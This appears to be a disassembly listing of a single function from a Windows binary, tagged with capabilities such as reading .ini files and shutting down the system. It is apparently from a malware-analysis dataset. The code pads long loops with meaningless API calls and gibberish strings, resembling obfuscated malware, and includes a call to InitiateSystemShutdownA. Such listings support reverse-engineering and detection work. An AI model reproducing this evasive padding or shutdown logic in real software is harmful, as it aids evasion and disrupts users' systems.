Function at 0x4256e0
Capabilities:
Get common file path
Get thread local storage value
Read .ini file
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ccc
call fcn.0040be50
mov dword [ebp - 4], 0
jmp 0x4256ff
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x32d05d76
jge 0x4257ba
cmp dword [0xbfbce4], 0xfc
jne 0x425771
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
xor ecx, ecx
mov word [ebp - 0x78], cx
xor edx, edx
mov dword [ebp - 0x76], edx
mov dword [ebp - 0x72], edx
mov dword [ebp - 0x6e], edx
mov word [ebp - 0x6a], dx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x5e], cx
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x60]
push eax
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
cmp dword [0xbfbce4], 0x5e4
jne 0x4257aa
push str.uisen_difutod_rivawo_tinewoha_duhamakapovuf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push str.Mobibarinamohay_foyusunah
push 0
lea eax, [ebp - 0x480]
push eax
push str.Yufudizodu_galof_rayi_mici_cije
push str.Bacunisucojux_lisy_det
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
cmp dword [ebp - 4], 0x9be51dc
jle 0x4257b5
jmp 0x4257ba
jmp 0x4256f6
push 0x438e70
mov ecx, dword [0xbfbce4]
push ecx
mov edx, dword [0xbfb020]
push edx
call fcn.00425680
mov dword [ebp - 0x484], 0
jmp 0x4257ed
mov eax, dword [ebp - 0x484]
add eax, 1
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x3e7a3
jge 0x425845
cmp dword [0xbfbce4], 0x10
jne 0x42582a
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
lea ecx, [ebp - 0x488]
push ecx
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
cmp dword [ebp - 0x484], 0x1e673
jne 0x425843
call fcn.004251e0
jmp 0x4257de
mov dword [ebp - 0x494], 0
jmp 0x425860
mov eax, dword [ebp - 0x494]
add eax, 1
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0xdd9a7
jge 0x42589c
cmp dword [0xbfbce4], 0xc01
jne 0x42589a
lea ecx, [ebp - 0x498]
push ecx
push str.Naralise_mani_bucexo_puxido_puhoxalitasutid
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
jmp 0x425851
call dword [0xbfb020]
cmp dword [0xbfbce4], 0x1144
jne 0x42599f
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push 0
lea edx, [ebp - 0xc9c]
push edx
lea eax, [ebp - 0x1cc4]
push eax
lea ecx, [ebp - 0x1cac]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push 0
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
mov dword [ebp - 0x1cc0], 0
xor edx, edx
mov dword [ebp - 0x1cbc], edx
mov dword [ebp - 0x1cb8], edx
mov dword [ebp - 0x1cb4], edx
mov dword [ebp - 0x1cb0], edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push str.yodokeker_zareneyid_dewidixibusejewunilubumacuyutuza_vutuxejewiwosuhotodur_tedoyekaxinozopinizuvazigonameni
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
lea eax, [ebp - 0x14a0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea ecx, [ebp - 0x14a8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea edx, [ebp - 0xc98]
push edx
push 0
push str.Gomonowenidanan_tacuze_rutoxuxihiye_tepa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
lea eax, [ebp - 0x14a4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
lea ecx, [ebp - 0x1ca8]
push ecx
push str.Raboho_puvatefe
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor eax, eax
mov esp, ebp
pop ebp
ret